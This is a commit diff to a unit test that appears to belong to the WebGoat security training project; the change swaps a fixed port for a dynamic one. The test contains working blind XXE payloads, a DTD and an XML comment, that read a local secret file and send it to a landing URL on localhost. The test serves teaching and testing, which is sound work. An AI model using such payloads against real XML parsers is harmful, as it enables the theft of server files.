changed unit test to dynamic port to prevent port conflict and build failure

This commit is contained in:
Rene Zubcevic 2019-03-06 22:18:01 +01:00 committed by Nanne Baars
parent 1c2648e0a9
commit 4050e899ff

View File

@ -18,6 +18,7 @@ import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.io.File; import java.io.File;
import java.util.List; import java.util.List;
import static com.github.tomakehurst.wiremock.core.WireMockConfiguration.wireMockConfig;
import static com.github.tomakehurst.wiremock.client.WireMock.*; import static com.github.tomakehurst.wiremock.client.WireMock.*;
import static org.assertj.core.api.Assertions.assertThat; import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.Mockito.when; import static org.mockito.Mockito.when;
@ -35,9 +36,11 @@ public class BlindSendFileAssignmentTest extends LessonTest {
private Comments comments; private Comments comments;
@Value("${webgoat.user.directory}") @Value("${webgoat.user.directory}")
private String webGoatHomeDirectory; private String webGoatHomeDirectory;
private int port;
@Rule @Rule
public WireMockRule webwolfServer = new WireMockRule(9090); public WireMockRule webwolfServer = new WireMockRule(wireMockConfig().dynamicPort());
@Before @Before
public void setup() throws Exception { public void setup() throws Exception {
@ -45,6 +48,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
when(webSession.getCurrentLesson()).thenReturn(xxe); when(webSession.getCurrentLesson()).thenReturn(xxe);
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
when(webSession.getUserName()).thenReturn("unit-test"); when(webSession.getUserName()).thenReturn("unit-test");
port = webwolfServer.port();
} }
@Test @Test
@ -74,7 +78,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
//Host DTD on WebWolf site //Host DTD on WebWolf site
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" + "<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>\">\n" + "<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:"+port+"/landing?text=%file;'>\">\n" +
"%all;"; "%all;";
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd")) webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
.willReturn(aResponse() .willReturn(aResponse()
@ -85,7 +89,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
//Make the request from WebGoat //Make the request from WebGoat
String xml = "<?xml version=\"1.0\"?>" + String xml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE comment [" + "<!DOCTYPE comment [" +
"<!ENTITY % remote SYSTEM \"http://localhost:9090/files/test.dtd\">" + "<!ENTITY % remote SYSTEM \"http://localhost:"+port+"/files/test.dtd\">" +
"%remote;" + "%remote;" +
"]>" + "]>" +
"<comment><text>test&send;</text></comment>"; "<comment><text>test&send;</text></comment>";
@ -97,7 +101,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt"); File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
//Host DTD on WebWolf site //Host DTD on WebWolf site
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>\">\n"; "<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:"+port+"/landing?text=%file;'>\">\n";
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd")) webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
.willReturn(aResponse() .willReturn(aResponse()
.withStatus(200) .withStatus(200)
@ -108,7 +112,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
String xml = "<?xml version=\"1.0\"?>" + String xml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE comment [" + "<!DOCTYPE comment [" +
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" + "<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
"<!ENTITY % remote SYSTEM \"http://localhost:9090/files/test.dtd\">" + "<!ENTITY % remote SYSTEM \"http://localhost:"+port+"/files/test.dtd\">" +
"%remote;" + "%remote;" +
"%all;" + "%all;" +
"]>" + "]>" +